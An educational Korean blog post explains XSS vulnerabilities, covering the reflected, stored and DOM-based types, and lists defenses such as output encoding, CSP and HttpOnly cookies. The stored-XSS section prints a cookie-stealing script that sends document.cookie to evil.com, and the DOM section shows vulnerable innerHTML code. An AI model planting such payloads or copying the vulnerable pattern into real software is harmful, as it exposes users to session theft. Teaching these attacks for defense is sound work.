보안

XSS(Cross-Site Scripting) 취약점

XSS(Cross-Site Scripting)는 웹 애플리케이션 보안에서 가장 일반적이면서도 위험한 취약점 중 하나입니다. 사용자의 입력을 제대로 필터링하지 않고 브라우저에 출력함으로써 악성 스크립트가 실행되며, 공격자는 이를 통해 쿠키 탈취, 세션 하이재킹, 피싱 등 다양한 공격을 수행할 수 있습니다.

1. XSS 취약점 개요

XSS(Cross-Site Scripting)는 공격자가 피해자의 브라우저에서 악성 스크립트를 실행하게 만들어 웹사이트의 권한을 탈취하거나 사용자 정보를 유출할 수 있는 웹 보안 취약점입니다.

주로 다음과 같은 상황에서 발생합니다:

  • 사용자 입력을 필터링하지 않고 그대로 HTML에 출력할 때
  • 신뢰되지 않은 데이터를 DOM에 삽입할 때
  • 외부에서 받아온 데이터를 HTML, JavaScript, CSS에 포함시킬 때

2. XSS 취약점 유형별 상세 설명

2.1 Reflected XSS (비저장형 XSS)

정의:
사용자의 요청(Request)에 포함된 악성 스크립트가 즉시 응답(Response)에 반영되어 실행되는 유형입니다.

특징:

  • 서버에 저장되지 않음
  • 공격자가 URL에 악성 스크립트를 포함시켜 피해자에게 전달
  • 주로 이메일, 메신저, 게시판 등에서 URL 클릭 유도

예시:

http://example.com/search?q=<script>alert('XSS')</script>

서버가 q 파라미터 값을 그대로 출력하면, 해당 스크립트가 실행됩니다.

2.2 Stored XSS (저장형 XSS)

정의:
공격자가 삽입한 악성 스크립트가 서버나 데이터베이스에 저장되어, 이후 페이지를 조회하는 사용자들에게 자동으로 실행되는 유형입니다.

특징:

  • 서버 또는 DB에 영구 저장
  • 여러 사용자에게 지속적으로 피해를 줄 수 있음
  • 게시판, 댓글, 사용자 프로필 등에서 자주 발생

예시:

<script>document.location='http://evil.com/steal?cookie=' + document.cookie</script>

이 스크립트를 게시글에 삽입하면, 그 글을 보는 모든 사용자의 쿠키가 공격자에게 전송됩니다.

2.3 DOM-based XSS (DOM 조작형 XSS)

정의:
서버를 거치지 않고 클라이언트 측 JavaScript가 DOM(Document Object Model)을 조작하는 과정에서 발생하는 XSS입니다.

특징:

  • 서버 응답이 아닌, 클라이언트 JavaScript 처리 과정에서 발생
  • URL 해시, 프래그먼트 등을 통해 자바스크립트가 직접 DOM을 수정할 때 발생

예시 (취약한 코드):

var userInput = location.hash.substring(1);  // #<script>alert(1)</script>
document.getElementById("output").innerHTML = userInput;

해당 페이지 URL에 #<script>alert(1)</script>를 붙여 방문하면, 해당 코드가 브라우저에서 실행됩니다.

3. XSS 방지 방법

  • 사용자 입력에 대한 입력 값 검증(Input Validation) 수행
  • 출력 시 HTML 이스케이프(Output Encoding) 처리 (<&lt;, >&gt; 등)
  • 자바스크립트에서 DOM 조작 시 textContent, innerText 등을 활용
  • HTTP 응답에 Content Security Policy (CSP) 적용
  • 사용자 세션 및 쿠키에는 HttpOnly, Secure, SameSite 속성 지정
  • WAF(Web Application Firewall) 및 보안 스캐너 도입

4. 구성도 예시

XSS 공격 흐름도

[사용자] → [악성 URL 클릭] → [웹 서버 응답] → [브라우저에서 스크립트 실행] → [사용자 정보 탈취]

또는, 저장형의 경우:

[공격자 → 게시판에 악성 스크립트 저장]  

[다른 사용자 → 게시판 열람]

[브라우저에서 악성 스크립트 실행]

[세션 탈취, 키로깅, 피싱 등]

5. 정리

  • XSS는 주로 사용자 입력값을 필터링 없이 출력할 때 발생
  • Reflected, Stored, DOM-based의 3가지 주요 유형이 있음
  • 유형에 따라 대응 방법이 다르지만, 공통적으로는 입력 검증 + 출력 인코딩 + CSP 적용이 중요
  • 웹 애플리케이션 개발 시 초기 설계부터 보안을 고려해야 함

zerg96

Recent Posts

MCP(Model Context Protocol)

오늘은 AI 생태계에 혁신적인 변화를 가져올 것으로 예상되는 MCP(Model Context Protocol)에 대해 상세히 알아보겠습니다. 2024년…

1주 ago

TPM(Trusted Platform Module)

1. TPM이란? TPM(Trusted Platform Module)은 국제 표준 기반의 보안 하드웨어 칩으로, 컴퓨터나 디지털 장비 내에서…

1주 ago

BitLocker

BitLocker는 Microsoft Windows 운영 체제에 내장된 디스크 전체 암호화(Full Disk Encryption) 기능입니다. 기업 환경뿐만 아니라…

1주 ago

《데블스 플랜 시즌2》: 게임인가, 연애인가? 소희 이렇게까지..?

시즌2, 기대했는데... 실망도 두 배!두뇌싸움을 기대했는데, 전략도 없는 자기들만의 감정에 따른 편가르기, 정치싸움이 되어 버린…

2주 ago

BPF도어(BPFdoor)

BPF(Berkeley Packet Filter) 도어는 해커가 관리자 몰래 뒷문을 새로 만든 것입니다.해커가 명령을 내려 특정 데이터들을 뒷문을…

2주 ago

IPC (Inter-Process Communication)

1. IPC의 개념과 목적 1.1 IPC란 무엇인가? IPC (Inter-Process Communication)는 운영체제 내의 서로 독립적인 프로세스…

2주 ago